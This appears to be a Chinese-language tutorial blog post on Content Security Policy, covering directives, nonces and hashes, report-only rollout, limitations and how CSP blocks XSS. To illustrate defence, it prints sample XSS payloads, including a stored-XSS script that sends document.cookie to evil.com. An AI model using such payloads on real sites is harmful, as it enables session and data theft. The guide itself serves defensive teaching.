Web渗透之前后端漏洞-CSP内容安全策略
一、概念
一、什么是 CSP
CSP(Content Security Policy,内容安全策略) 是一种浏览器端的安全机制,通过设置 HTTP 响应头或 HTML <meta> 标签,告诉浏览器哪些资源可以加载和执行,哪些行为被禁止。它可以有效防御 XSS、数据注入、点击劫持、代码注入等多种攻击。
核心思想:浏览器默认信任服务器返回的所有内容。CSP 打破了这一信任模型,要求服务器明确声明允许的资源来源,浏览器只执行白名单内的代码。
二、CSP 解决什么问题
1. 防御 XSS 攻击
传统 XSS 防御依赖输出编码和输入过滤,但这些措施可能被绕过。CSP 作为最后一道防线,即使攻击者成功注入了 <script>alert(1)</script>,如果 CSP 策略不允许内联脚本执行,该脚本也不会运行。
2. 防止数据泄露
通过限制 connect-src、img-src 等指令,可以阻止恶意脚本将窃取的数据发送到外部服务器。
3. 防御点击劫持
frame-ancestors 指令可以控制页面是否允许被嵌入 <iframe>,从而防止点击劫持攻击。
4. 限制不安全的 API
可以禁止 eval()、setTimeout(string)、new Function(string) 等危险操作。
三、CSP 的基本语法
CSP 通过 HTTP 响应头或 <meta> 标签设置。一个策略由多个指令组成,每个指令定义一类资源的允许来源。
1. HTTP 响应头方式(推荐)
Content-Security-Policy: 指令1 值1 值2; 指令2 值1 值2;
例如:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline';
2. HTML <meta> 标签方式(有限制)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
注意:
<meta>方式不支持frame-ancestors、sandbox、report-uri等某些指令,且无法发送违规报告。生产环境推荐使用 HTTP 头。
四、常用指令详解
| 指令 | 作用 | 示例 |
|---|---|---|
default-src |
定义默认资源加载策略,未指定的其他指令将继承该值。 | default-src 'self' |
script-src |
定义可执行的 JavaScript 来源。 | script-src 'self' 'unsafe-inline' https://trusted.com |
style-src |
定义 CSS 样式表来源。 | style-src 'self' 'unsafe-inline' |
img-src |
定义图片来源。 | img-src * data: |
connect-src |
限制 AJAX、WebSocket、EventSource 等连接目标。 | connect-src 'self' https://api.example.com |
font-src |
定义字体文件来源。 | font-src 'self' https://fonts.gstatic.com |
object-src |
限制 <object>、<embed>、<applet> 等插件的来源。 |
object-src 'none' |
media-src |
定义视频和音频来源。 | media-src 'self' https://videos.com |
frame-src |
限制 <frame>、<iframe> 中嵌入页面的来源。 |
frame-src 'self' https://youtube.com |
frame-ancestors |
限制哪些页面可以嵌入当前页面(防御点击劫持)。 | frame-ancestors 'none' |
form-action |
限制表单提交的目标 URL。 | form-action 'self' |
base-uri |
限制 <base> 标签的 URL。 |
base-uri 'self' |
report-uri |
指定违规报告的接收地址。 | report-uri /csp-report |
sandbox |
对页面启用沙箱限制(类似 iframe 的 sandbox 属性)。 | sandbox allow-forms allow-scripts |
五、指令的值(来源白名单)
| 值 | 含义 |
|---|---|
'none' |
禁止任何来源。 |
'self' |
允许同源(协议+域名+端口相同)。 |
'unsafe-inline' |
允许内联代码(如 <script> 标签内的代码、内联 onclick 等)。严重降低安全性,不推荐使用。 |
'unsafe-eval' |
允许 eval()、setTimeout(string)、new Function(string) 等动态代码执行。不推荐。 |
'nonce-<base64值>' |
允许带有指定 nonce 属性的内联脚本或样式。 |
'sha256-<哈希>' |
允许内容哈希匹配的内联脚本或样式。 |
https://example.com |
允许指定域名的 HTTPS 资源。 |
*.example.com |
允许指定域名的所有子域名。 |
data: |
允许 data: URI(如 data:image/png;base64,...)。 |
blob: |
允许 blob: URI。 |
六、内联脚本的处理:nonce 和 hash
为了防御 XSS,我们通常不希望使用 'unsafe-inline'。但实际开发中难免需要内联脚本,CSP 提供了两种安全的方式:
方式一:使用 nonce(一次性随机数)
服务器每次生成页面时,随机生成一个加密安全的 nonce 值,并设置到 HTTP 头中:
Content-Security-Policy: script-src 'nonce-abc123'
然后在 HTML 中的内联脚本添加相同的 nonce 属性:
<script nonce="abc123">
alert('这个脚本会被执行');
</script>
注意:攻击者无法猜测 nonce 值(足够随机且不重复),因此无法执行注入的脚本。
方式二:使用 hash(内容哈希)
服务器计算内联脚本内容的哈希值(SHA-256),并添加到 CSP 头中:
Content-Security-Policy: script-src 'sha256-abc123...'
浏览器执行脚本前会计算其哈希,如果匹配则执行。缺点是如果脚本内容发生变化(如动态生成),哈希会变,需要同步更新 CSP 头。
七、违规报告(Report-Only 模式)
在正式启用 CSP 前,建议使用 Content-Security-Policy-Report-Only 头进行测试。它不会阻止违规行为,但会向指定 URL 发送违规报告。
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
违规报告格式(JSON):
{
"csp-report": {
"document-uri": "https://example.com/page.html",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"line-number": 42
}
}
收集报告可以帮助发现页面中哪些资源违反了策略,从而调整 CSP 配置,最终平滑过渡到强制执行模式。
八、CSP 配置示例与场景
场景一:严格策略(推荐,高安全性)
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
-
禁止一切外部资源(除同源)。
-
不允许内联脚本和
eval。 -
不允许被嵌入 iframe(防点击劫持)。
场景二:允许 CDN 和第三方脚本
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com https://ajax.googleapis.com; style-src 'self' https://cdn.example.com; img-src *; connect-src 'self' https://api.example.com;
场景三:需要内联脚本(使用 nonce)
Content-Security-Policy: script-src 'nonce-r@nd0m123' 'strict-dynamic';
配合 HTML:<script nonce="r@nd0m123">...</script>
'strict-dynamic' 会信任由合法脚本动态创建的其他脚本,简化配置。
场景四:仅报告模式(测试用)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report-endpoint
九、CSP 可以防御的攻击类型
| 攻击类型 | 防御原理 |
|---|---|
| 反射型 XSS | 注入的 <script> 无法执行(除非策略允许 'unsafe-inline')。 |
| 存储型 XSS | 同上,数据库中的恶意脚本无法执行。 |
| DOM 型 XSS | 限制内联脚本来源,阻止 innerHTML 注入的脚本执行。 |
| 数据外泄 | connect-src 限制 AJAX 目标,img-src 限制图片目标,防止窃取数据发送到外部。 |
| 点击劫持 | frame-ancestors 'none' 禁止页面被嵌入 iframe。 |
| 混合内容 | 配合 block-all-mixed-content 强制升级 HTTPS。 |
十、CSP 的局限性与绕过
-
无法防御基于 HTML 标签属性的事件(如
onerror、onload):-
如果策略允许
'unsafe-inline',这些事件仍可执行。 -
如果不允许,
<img src=x onerror=alert(1)>不会执行(因为事件本质是内联脚本)。
-
-
JSONP 接口可绕过:
-
如果策略允许
script-src https://api.example.com,且该域存在 JSONP 接口,攻击者可能利用其执行代码。
-
-
策略配置错误:
-
使用
'unsafe-inline'或'unsafe-eval'严重削弱 CSP。 -
来源白名单过于宽松(如
*或https:)。
-
-
浏览器兼容性:
-
旧版浏览器(IE 10 及以下)不支持 CSP。
-
部分指令在新旧版本中行为差异。
-
-
非脚本资源泄露:
-
CSP 不阻止通过
<link>预加载、DNS 预取等方式泄露信息。
-
十一、CSP 与其他安全机制的配合
| 配合机制 | 作用 |
|---|---|
| 输出编码(HTML 实体转义) | 防止 XSS 注入的第一道防线。 |
| HttpOnly Cookie | 即使存在 XSS,Cookie 也无法被 JavaScript 读取。 |
| X-Frame-Options | 旧版浏览器的点击劫持防御,CSP 的 frame-ancestors 是其替代。 |
| X-XSS-Protection | 已被 CSP 取代,但部分旧浏览器依赖。 |
| Subresource Integrity (SRI) | 确保 CDN 加载的脚本未被篡改。 |
十二、如何为现有网站启用 CSP
步骤 1:启用报告模式
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
部署到生产环境,收集违规报告。
步骤 2:分析报告,调整策略
-
查看哪些资源被阻止(第三方脚本、内联样式等)。
-
决定是否允许(添加白名单)或修改代码。
-
对于内联代码,改用 nonce 或移入外部文件。
步骤 3:逐步收紧策略
从宽松到严格,例如:
-
default-src 'self' https:; script-src 'self' 'unsafe-inline' -
移除
'unsafe-inline',改用 nonce。 -
设置
default-src 'none',逐条添加必要指令。
步骤 4:强制执行
切换为 Content-Security-Policy 头,监控一段时间,确认无业务影响。
十三、常见问题与调试
| 问题 | 解决方案 |
|---|---|
| 页面空白或样式丢失 | 可能是 style-src 未允许内联样式或外部 CSS。查看浏览器控制台错误信息。 |
| 第三方脚本无法加载 | 检查 script-src 是否包含该域名,或是否缺少 'unsafe-inline'。 |
eval 报错 |
CSP 默认禁止 eval,如需启用需添加 'unsafe-eval'(不推荐)。改为不使用 eval 的代码。 |
| WebSocket 连接失败 | 检查 connect-src 是否包含 WebSocket 域名(注意 ws:// 和 wss:// 协议)。 |
| 报告接收不到 | 检查 report-uri 地址是否可访问,是否支持 POST JSON 请求。 |
调试技巧:打开浏览器开发者工具的 Console 面板,CSP 违规信息会直接显示,并提供被阻止的资源 URL 和违反的指令。
十四、总结
CSP 是现代 Web 安全中防御 XSS 等注入攻击的最强力手段之一,但它不是“银弹”。它需要与输出编码、输入验证、HttpOnly Cookie 等机制配合,形成纵深防御体系。
核心要点:
-
拒绝
'unsafe-inline',改用 nonce 或 hash。 -
拒绝
'unsafe-eval',重构代码避免使用eval。 -
使用报告模式 逐步收紧策略,避免影响业务。
-
限制资源来源 到最小必要范围(例如
default-src 'none'+ 显式白名单)。
正确配置的 CSP 可以阻止绝大多数 XSS 攻击,即使攻击者成功注入了脚本,浏览器也不会执行。开发者和安全工程师应将其作为 Web 应用的标配安全措施。
本文仅用于安全学习与技术研究,CSP 配置需根据具体业务场景调整,避免过度收紧导致功能失效。
二、防御XSS漏洞
CSP(Content Security Policy)是浏览器提供的一种安全机制,通过白名单方式限制页面可执行的脚本、样式、图像等资源的来源,从而有效阻止 XSS 攻击(即使攻击者成功注入了恶意脚本,浏览器也不会执行)。
一、XSS 攻击的根本原因与 CSP 的解决思路
-
XSS 的本质:攻击者能够将未经信任的脚本(例如
<script>alert(1)</script>)注入到页面中,而浏览器无条件执行该脚本。 -
CSP 的解决思路:服务器明确告诉浏览器“只有来自特定来源的脚本才允许执行,内联脚本一律禁止(除非有 nonce/hash)”。这样,攻击者注入的任何脚本都无法运行。
二、CSP 防御 XSS 的核心指令
| 指令 | 作用(针对 XSS) |
|---|---|
script-src |
控制哪些 JavaScript 可以被执行。最关键指令。 |
default-src |
如果未指定 script-src,则继承其值。 |
object-src |
控制 Flash 等插件(可用于 XSS)。 |
base-uri |
限制 <base> 标签,防止恶意修改相对路径。 |
report-uri / report-to |
收集违规报告,用于监控和调试。 |
三、典型 CSP 策略示例及 XSS 阻断效果
示例 1:完全禁止内联脚本,仅允许同源外部脚本
Content-Security-Policy: default-src 'self'; script-src 'self'
-
内联
<script>alert(1)</script>→ 被阻止 -
外部脚本
https://trusted.com/lib.js→ 被阻止(不同源) -
同源脚本
/static/app.js→ 允许
示例 2:允许特定 CDN 的脚本,仍禁止内联
Content-Security-Policy: script-src 'self' https://cdn.example.com
-
从
https://cdn.example.com加载的脚本 → 允许 -
内联脚本 → 被阻止
-
其他任何来源的脚本 → 被阻止
示例 3:使用 nonce 允许特定内联脚本(安全方式)
Content-Security-Policy: script-src 'nonce-r4nd0m123'
<script nonce="r4nd0m123"> // 这个脚本会被执行 initPage(); </script>
攻击者注入的脚本没有正确的 nonce → 被阻止
示例 4:使用哈希(hash)允许特定内联脚本
Content-Security-Policy: script-src 'sha256-abc123...'
脚本内容哈希必须与策略中声明的完全一致。攻击者无法预测哈希。
四、CSP 阻断 XSS 的实际案例
假设存在存储型 XSS:攻击者在留言板提交 <script>fetch('https://evil.com/steal?c='+document.cookie)</script>。
-
没有 CSP:管理员访问留言板 → 脚本执行 → Cookie 被发送给攻击者。
-
有 CSP(例如
script-src 'self'):浏览器检测到内联脚本,但策略不允许'unsafe-inline',因此脚本不会执行。控制台会显示 CSP 违规报告。
即使攻击者使用事件属性(如 <img src=x onerror=alert(1)>),由于事件属性也属于内联脚本,同样会被 script-src 限制(除非策略包含 'unsafe-hashes',但极少配置)。
五、CSP 的局限性(不能完全依赖)
-
必须正确配置:如果策略包含
'unsafe-inline'或'unsafe-eval',则无法防御 XSS。 -
策略太宽松:例如
script-src *或https:允许任何 HTTPS 源的脚本,攻击者可能通过 CDN 或其他合法域上传恶意脚本。 -
浏览器兼容性:IE 10 及以下不支持 CSP。
-
无法防御 DOM 型 XSS(如果漏洞是因为
innerHTML插入的标签没有执行脚本?实际上 CSP 会阻止内联脚本,但无法阻止<img>加载外部资源或 CSS 表达式等)。需要结合其他措施。 -
数据外泄风险仍然存在:即使无法执行脚本,攻击者仍可能通过
meta刷新、CSS 背景等方式泄露数据(但 CSP 的connect-src、img-src可以限制这些通道)。
六、CSP 配合其他防御 XSS 的措施
| 措施 | 作用 |
|---|---|
| 输出编码(HTML 实体转义) | 防止恶意内容被浏览器解析为 HTML/JS。 |
| HttpOnly Cookie | 防止 XSS 窃取 Cookie(但不能阻止其他操作)。 |
| 输入过滤 | 减少注入点,但不是根本解决。 |
| CSP | 最后一道防线,即使注入也能阻止执行。 |
| X-XSS-Protection | 已废弃,但部分旧浏览器仍有作用。 |
七、总结
CSP 是防御 XSS 的强大纵深防御层,它通过浏览器端强制执行资源白名单,阻断恶意脚本执行。正确配置 CSP(避免使用 'unsafe-inline' 和 'unsafe-eval')可以有效阻止反射型、存储型乃至部分 DOM 型 XSS。但 CSP 需要与输出编码、输入验证等结合,形成完整的防护体系。对于现代 Web 应用,启用 CSP 已被视为安全最佳实践。
推荐配置(高安全性):
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐
所有评论(0)